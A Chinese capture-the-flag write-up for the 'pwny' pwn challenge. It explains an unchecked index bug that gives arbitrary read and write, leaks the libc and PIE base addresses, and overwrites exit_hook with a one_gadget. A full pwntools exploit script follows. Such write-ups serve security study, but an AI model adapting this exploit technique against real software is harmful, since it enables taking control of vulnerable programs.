[pie+libc]国赛_pwny
1. ida 分析
-
write函数并没有对输入的index做合法性检验,第一次read函数由于fd不合法不会执行,但可以往任意地址写入一个
0
字符 -
fd紧接着array,可以将fd覆盖为
0
,可以实现任意写 -
当fd = 0 时,通过read函数可以通过输入index执行任意读
2. 思路(通过数组进行任意地址读写)
-
先通过write方法覆盖fd为
0
,就有了任意读def write(index): p.sendlineafter('Your choice: ','2') p.sendlineafter('Index: ',str(index)) def read(index): p.sendlineafter('our choice: ','1') p.sendlineafter('Index: ',p64(index)) write(256) write(256)
-
通过read方法,输入想要输出的函数的地址相对于array的偏移(按字节算),就可以泄漏libc以及pie的基址
ptr = 0x202060 stdin = 0x202030 #泄漏libc中的函数地址 stdin_index = (stdin - ptr)/8 #0xFFFFFFFFFFFFFFFA log.success('stdin_index==>'+hex(stdin_index)) read(0xFFFFFFFFFFFFFFFA) p.recvuntil('Result: ') stdin_addr = int(p.recv(12),16) log.success('stdin_addr==>'+hex(stdin_addr)) libc_base = stdin_addr - libc.sym['_IO_2_1_stdin_'] log.success('libc_base=>'+hex(libc_base)) one = libc_base + 0x10a428 #泄漏程序段代码无关的地址 - 偏移就得到codebase unk = 0x202008 unk_index = (unk - ptr)/8 #0xFFFFFFFFFFFFFFF5 log.success('unk==>'+hex(unk_index)) read(0xFFFFFFFFFFFFFFF5) p.recvuntil('Result: ') unk_addr = int(p.recv(12),16) log.success('unk_addr ==>'+hex(unk_addr)) pie = unk_addr - unk log.success('pie==>'+hex(pie))
-
有了libc以及pie的基址,通过write中的read,就可以实现任意写,将exit_hook改成onegadge
exit_hook = libc_base + 0x61bf60 log.success('exit_hook=>'+hex(exit_hook)) exit_index = (exit_hook - pie -ptr)/8 log.success('exit_index=>'+hex(exit_index)) gdb.attach(p) write(exit_index) p.send(p64(one))
-
这里的exit_hook的地址,通过
p _rtld_global
找出结构体中,exit_hook的地址,可以看到在结构体的最下面 -
下面显示结构体的地址,定位到
_dl_rtld_lock_recursive
-
可以看到
_dl_rtld_lock_recursive
,相对于_rtld_global
的偏移为3840
,得到_dl_rtld_lock_recursive
的实际地址 - libc的基址,就能得到exit_hook在libc中的偏移
-
-
程序正常exit即可触发onegadget
3. exp
from pwn import *
p = process('./pwny')
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
def write(index):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index: ',str(index))
def read(index):
p.sendlineafter('our choice: ','1')
p.sendlineafter('Index: ',p64(index))
write(256)
write(256)
ptr = 0x202060
stdin = 0x202030
stdin_index = (stdin - ptr)/8 #0xFFFFFFFFFFFFFFFA
log.success('stdin_index==>'+hex(stdin_index))
read(0xFFFFFFFFFFFFFFFA)
p.recvuntil('Result: ')
stdin_addr = int(p.recv(12),16)
log.success('stdin_addr==>'+hex(stdin_addr))
libc_base = stdin_addr - libc.sym['_IO_2_1_stdin_']
log.success('libc_base=>'+hex(libc_base))
one = libc_base + 0x10a428
unk = 0x202008
unk_index = (unk - ptr)/8 #0xFFFFFFFFFFFFFFF6
log.success('unk==>'+hex(unk_index))
read(0xFFFFFFFFFFFFFFF5)
p.recvuntil('Result: ')
unk_addr = int(p.recv(12),16)
log.success('unk_addr ==>'+hex(unk_addr))
pie = unk_addr - unk
log.success('pie==>'+hex(pie))
exit_hook = libc_base + 0x61bf60
log.success('exit_hook=>'+hex(exit_hook))
exit_index = (exit_hook - pie -ptr)/8
log.success('exit_index=>'+hex(exit_index))
gdb.attach(p)
write(exit_index)
p.send(p64(one))
p.interactive()